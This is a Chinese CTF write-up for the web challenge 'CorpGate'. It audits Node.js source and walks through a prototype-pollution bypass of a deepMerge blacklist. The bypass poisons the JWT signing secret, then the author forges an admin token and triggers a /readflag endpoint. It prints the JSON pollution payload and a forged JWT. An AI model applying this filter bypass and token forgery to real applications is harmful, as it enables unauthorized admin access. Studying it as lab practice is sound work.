当前位置: 首页 > news >正文

WEB-2026DASCTF夏季赛-CorpGate

题目:WEB-2026DASCTF夏季赛-CorpGate

前置知识:有关于js原型链的基础知识可以看看这篇文章:https://www.cnblogs.com/sabliercoder/articles/19174635

,jwt默认了解,下文如有错误,欢迎指出

一、题目描述:

一套全新的企业员工门户系统CorpGat

二、这里给了个源码附件,我们先进行源码审计:

【1】首先看jwt.js文件

function signToken(payload) {return jwt.sign(payload, config.signingState.active, {algorithm: config.jwtConfig.algorithm,expiresIn: config.jwtConfig.expiresIn});
}

很容易知道config.signingState.active就是jwt加密密钥,因为他这里const jwt = require('jsonwebtoken');引入了nodejs中专门用来处理jwt的库,后面的jwt.sign函数

的参数二就是jwt签名密钥,见下图,它module.exports = { signToken };把将这个函数暴露出去,供其他文件调用,而在auth.js文件的44行他也确实调用了用来签名加密

image-20260530131142469

image-20260531120622598

【2】在配置文件里面查找signingState.active,定位到config.js文件

const signingState = Object.create(null);
signingState.active = jwtConfig.secret;
signingState.version = 1;
signingState.lastRotation = Date.now();

这里把signingState.active赋值给了jwtConfig.secret,这不是重点

接下来是重点:

function configRefresh() {var rotation = {};rotation.source = 'vault';rotation.timestamp = Date.now();if (rotation.pending) {signingState.active = rotation.pending;signingState.version++;signingState.lastRotation = Date.now();return { rotated: true, version: signingState.version };}return { rotated: false, version: signingState.version };
}

(1)这里的rotation被赋值为一个对象{},并且signingState.active = rotation.pending;即它具有一个属性pending,很容易联想到如果rotation没有这个属性,就会通过__proto__访问它的原型对象,看看有无pending属性,若有,则直接应用,而rotation={},它的上级对象即object.protyte,这一点在浏览器console中可以简单验证,目前思路就是污染原型链,让rotation.pending为我们自己写的密钥,然后我们通过自己伪造的密钥来修改jwt的role为admin,从而访问受限的/admin路由

image-20260530132003568

(2)这里我的思路是先全局查找configRefresh()和pending,看看有没有什么线索,结果没有,于是随便翻翻,查找文件目录,发现了merge.js,看到文件名,应该就是for循环加merge合并污染了,但下面做了过滤,我们接下来就要绕过过滤

const BLOCKED_ROOTS = ['__proto__', '__defineGetter__', '__defineSetter__', 'constructor', 'prototype'];
const BLOCKED_KEYS = ['__proto__', '__defineGetter__', '__defineSetter__'];
const MAX_DEPTH = 6;function isPlainObject(val) {return typeof val === 'object' && val !== null && !Array.isArray(val);
}function sanitizeKey(key) {   #去点号return key.replace(/\./g, '');
}function deepMerge(target, source, depth) {if (depth === undefined) depth = 0;if (depth >= MAX_DEPTH) return target;for (var rawKey in source) {var key = sanitizeKey(rawKey); if (key === '') continue;   #空key跳过if (BLOCKED_KEYS.indexOf(key) !== -1) continue;if (depth < 3 && BLOCKED_ROOTS.indexOf(key) !== -1) continue;if (isPlainObject(source[rawKey])) {if (typeof target[key] === 'object' && target[key] !== null) {deepMerge(target[key], source[rawKey], depth + 1);} else if (typeof target[key] === 'function') {deepMerge(target[key], source[rawKey], depth + 1);}} else {target[key] = source[rawKey];}}return target;
}module.exports = { deepMerge };

关键代码有两处:

const BLOCKED_ROOTS = ['__proto__', '__defineGetter__', '__defineSetter__', 'constructor', 'prototype'];
const BLOCKED_KEYS = ['__proto__', '__defineGetter__', '__defineSetter__'];##BLOCKED_ROOTS过滤了5个,BLOCKED_KEYS过滤了3个,他们的差异就是constructor和prototype
    if (BLOCKED_KEYS.indexOf(key) !== -1) continue;if (depth < 3 && BLOCKED_ROOTS.indexOf(key) !== -1) continue;

解析:

【1】index0f()方法用来过滤BLOCKED_ROOTS以及BLOCKED_KEYS的,起到一个黑名单的作用,即不在黑名单里的就返回-1,也就是不在黑名单的不会执行continue重新进入for循环,会进行后面的merge合并,导致js原型链污染

image-20260530133721158

【2】typeof 操作符:这个操作符会返回一个字符串,表示其操作数的类型

(1)而typeof {}返回的是object,typeof {'sb':11}也返回object,即当前属性值是要是一个对象

(2)对于函数而言

console.log(typeof function(){}); // 返回function

绕过方法:这里其实要结合

这里的key是我们后面要污染pending属性用的payload,这里直接拿出来讲解一下:

{"notifications": {"digest": {"channels": {"constructor": {"prototype": {"pending": "sb"}}}}}
}

(1)对于if (BLOCKED_KEYS.indexOf(key) !== -1) continue;

这是绕不了的,如果 key 是 __proto__ 、 __defineGetter__ 、 __defineSetter__ 之一,直接跳过,也就是不会执行后面的deepmarge函数,导致我们的污染失败

  if (typeof target[key] === 'object' && target[key] !== null) {deepMerge(target[key], source[rawKey], depth + 1);

(2)对于

if (depth < 3 && BLOCKED_ROOTS.indexOf(key) !== -1) continue;

只有满足两个条件才会拦截,即depth 小于 3,并且 key 在 BLOCKED_ROOTS 中,才跳过

总结:__proto__永远用不了,但 constructor 和 prototype 在 depth ≥ 3 时可以绕过, 这就是为什么我们要把 payload 嵌套到 notifications.digest.channels (因为后面的服务端他自己的settiings刚好有这个,三层嵌套让我们来绕过)里面——为了凑够 depth=3

经代码审计后面有deepMerge(user.settings, req.body);,即target是user.settings(即服务器默认用户配置),具体解析见下面的实际流程

(3)实际流程:

deepMerge(target, source, depth)

deepMerge(settings, payload, depth=0)
##先遍历我们payload的keykey="notifications" → settings.notifications 存在且是对象 → 递归deepMerge(settings.notifications, payload.notifications, depth=1)key="digest" → settings.notifications.digest 存在且是对象 → 递归deepMerge(settings.notifications.digest, payload.digest, depth=2)key="channels" → settings.notifications.digest.channels 存在且是对象 → 递归deepMerge(settings.channels, payload.channels, depth=3)  ← depth=3key="constructor" → depth≥3,绕过BLOCKED_ROOTS!→ target["constructor"] = Object(函数) → typeof === 'function' → 递归deepMerge(Object, {prototype:{pending:"sb"}}, depth=4)key="prototype" → depth≥3,绕过BLOCKED_ROOTS!→ Object.prototype 是对象 → 递归deepMerge(Object.prototype, {pending:"sb"}, depth=5)key="pending" → 不是对象 → 直接赋值→ Object.prototype.pending = "sb"
于是就污染成功了

【2】对于deepmerge函数,全局搜索看看,在/api/settings路由下面,这里也是我们等下要通过这个api接口发包用来污染object.prototyte的
image-20260530133046128

deepMerge(user.settings, req.body);## user.settings (当前默认的设置对象)
req.body (我们POST 过来的 JSON 数据)

结合前面的,deepmerge用来合并res.body到setting中的(即我们的目的是合并没有的属性pending给所有对象的最终对象object.prototype,因为所有对象最终都继承于它)

【3】接下来去请求/api/settings路由

deepMerge(user.settings, req.body);res.json({ success: true, message: 'Settings updated', settings: user.settings })

image-20260530140556052

user.settings 的结构是:

{
"theme":"light",
"language":"en","notifications":
{
"email":true,
"desktop":true,"digest":
{
"frequency":"daily",
"time":"09:00","channels":
{
"slack":true,
"teams":false}
}
}
}

可以看到刚好嵌套了3层,notifications到digest到digest,刚好满足绕过条件

所以payload:

{"notifications": {"digest": {"channels": {"constructor": {"prototype": {"pending": "sb"}}}}}
}

2c733a0d-44bf-47cf-84aa-d6725ced86af

可以看到污染成功,所有对象都继承了object.prototype的pending属性

【4】接下来要触发 /api/system/healthcheck , configRefresh() 中的 signingState.active = rotation.pending 就会从原型链读到 pending = "sb" ,把签名密钥改成 "sb" ,然后你就可以用 "sb" 伪造 admin JWT从而访问/admin路由

在config.js文件下:

function configRefresh() {var rotation = {};rotation.source = 'vault';rotation.timestamp = Date.now();if (rotation.pending) {signingState.active = rotation.pending; #当rotation.pending不为空,用来更新密钥,等下就可以用我们的密钥sb来签名了signingState.version++;signingState.lastRotation = Date.now();return { rotated: true, version: signingState.version };}return { rotated: false, version: signingState.version };
}

全文搜索 configRefresh,再次定位到user.js文件中

image-20260530141556854

定位到user.js文件,访问/api/system/healthcheck才可以触发configRefresh函数从而触发密钥更换,这也是非常坑

cd41306985b747d402060a8b06dec53f

注:jwt密钥替换用sb签名

image-20260530142803937

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVjZTNjNjhkLTgyNzYtNDU4YS05ZjE1LTgyZmIwZWJlMTQ0YiIsInVzZXJuYW1lIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3ODAxMTE0MzIsImV4cCI6MTc4MDE5NzgzMn0.zDFl2-ljmIlTaNYouJXh2jI5ipNNEFpqJ5N0jepDrAI

【5】接下来访问/admin ,服务器生成一个 reference

image-20260530143006461

05f678cea169cb24076d00cc1e51fd3f

在diagnostic.js文件里面:

router.post('/api/reports/execute', authMiddleware, adminMiddleware, (req, res) => {var ref = req.body.reference;if (!ref || typeof ref !== 'string') {return res.status(400).json({ error: 'Missing report reference' });}var entry = config.diagnosticStore[ref];if (!entry) {return res.status(404).json({ error: 'Invalid or expired reference' });}// Check TTLif (Date.now() - entry.created > entry.ttl) {delete config.diagnosticStore[ref];return res.status(410).json({ error: 'Reference expired' });}// Check one-time useif (entry.consumed) {return res.status(409).json({ error: 'Reference already consumed' });}entry.consumed = true;var output = 'Diagnostic failed';try {output = execSync('/readflag').toString().trim();} catch (e) {}res.json({ status: 'completed', report: output });
});

(1) var ref = req.body.reference;

我们通过访问/api/reports/execute,body传参reference来触发execSync('/readflag').toString().trim();执行获得flag

277bb0b5e4a060574c8cb912bdaec323

最后,谢谢大家的阅读,如果上文有错误的地方欢迎指出,本人也是刚学,可能也有不足之处

1779426651759

http://www.jsqmd.com/news/922786/

相关文章:

  • 2026 实木地板十大品牌权威榜单:林昌地板登顶,以国标级技术重塑行业标准 - 玖叁鹿
  • Surface Pro/Laptop 开启Secure Boot也能玩转Ubuntu/Arch双系统,保姆级签名内核教程
  • Sketch-Find-And-Replace:Sketch设计师必备的智能文本查找替换插件
  • DLSS Swapper:5分钟学会游戏性能优化神器
  • 使用Visuino图形化编程快速构建Arduino I2C LCD菜单系统
  • 终极指南:使用ExplorerPatcher深度定制Windows界面与系统功能
  • 2026 实木地板十大品牌权威推荐:林昌地板以国标级技术领跑,重新定义健康实木生活 - 玖叁鹿
  • Python入门:什么是Python以及为什么选择它
  • 【大白话说Java面试题 第87题】【Mysql篇】第17题:分布式事务的实现原理?
  • 旧硬盘改造复古蓝牙音箱:机械美学与嵌入式音频系统实战
  • 基于Arduino IoT Cloud与ESP8266的智能家居双控系统设计与实现
  • 互联网大厂 Java 求职面试:微服务与云原生场景中的挑战
  • 基于Raspberry Pi Pico与图形化编程的智能交通灯项目实践
  • APKMirror安卓客户端:免费安全获取应用APK的终极解决方案
  • Arduino智能夜灯控制系统:从硬件连接到状态机逻辑的嵌入式入门实践
  • 实木地板十大品牌权威排行榜:林昌地板领跑,用技术定义实木新高度 - 玖叁鹿
  • 健康消费新趋势 精选多款口碑非遗糕点品牌 - 玖叁鹿
  • 魔兽争霸III终极优化指南:3步解锁高帧率与完美宽屏体验
  • Navicat试用期重置工具:macOS用户如何免费管理数据库
  • 如何一键下载全网小说?novel-downloader终极指南
  • 互联网大厂 Java 面试实战:从音视频场景到微服务架构
  • Fast-GitHub 浏览器扩展架构解析:智能路由加速与高性能下载实现深度实践
  • 平邑管道漏水检测 优质靠谱商家推荐|消防管道查漏、地埋自来水、热力市政管道测漏、工厂管道打压保压、高低压电缆故障维修 - 资讯热点
  • 日企工程师速看:Gemini翻译合同条款竟漏译「但し書」关键限制条件,3步人工干预法挽救交付危机
  • 【2026收藏版】小白程序员必看!Agent与Skill核心解析,轻松入门大模型实战
  • Arduino超声波传感器与伺服电机实现自动触发惊吓盒制作指南
  • ChatGPT与谷歌搜索:从信息检索到知识合成的范式变革
  • 2026实木地板品牌排行榜:家装高性价比优选,林昌地板实力登顶 - 玖叁鹿
  • 从零制作LED闪烁机器人徽章:多谐振荡器电路与焊接实践指南
  • Arduino倾斜传感器入门:从机械原理到防抖编程实战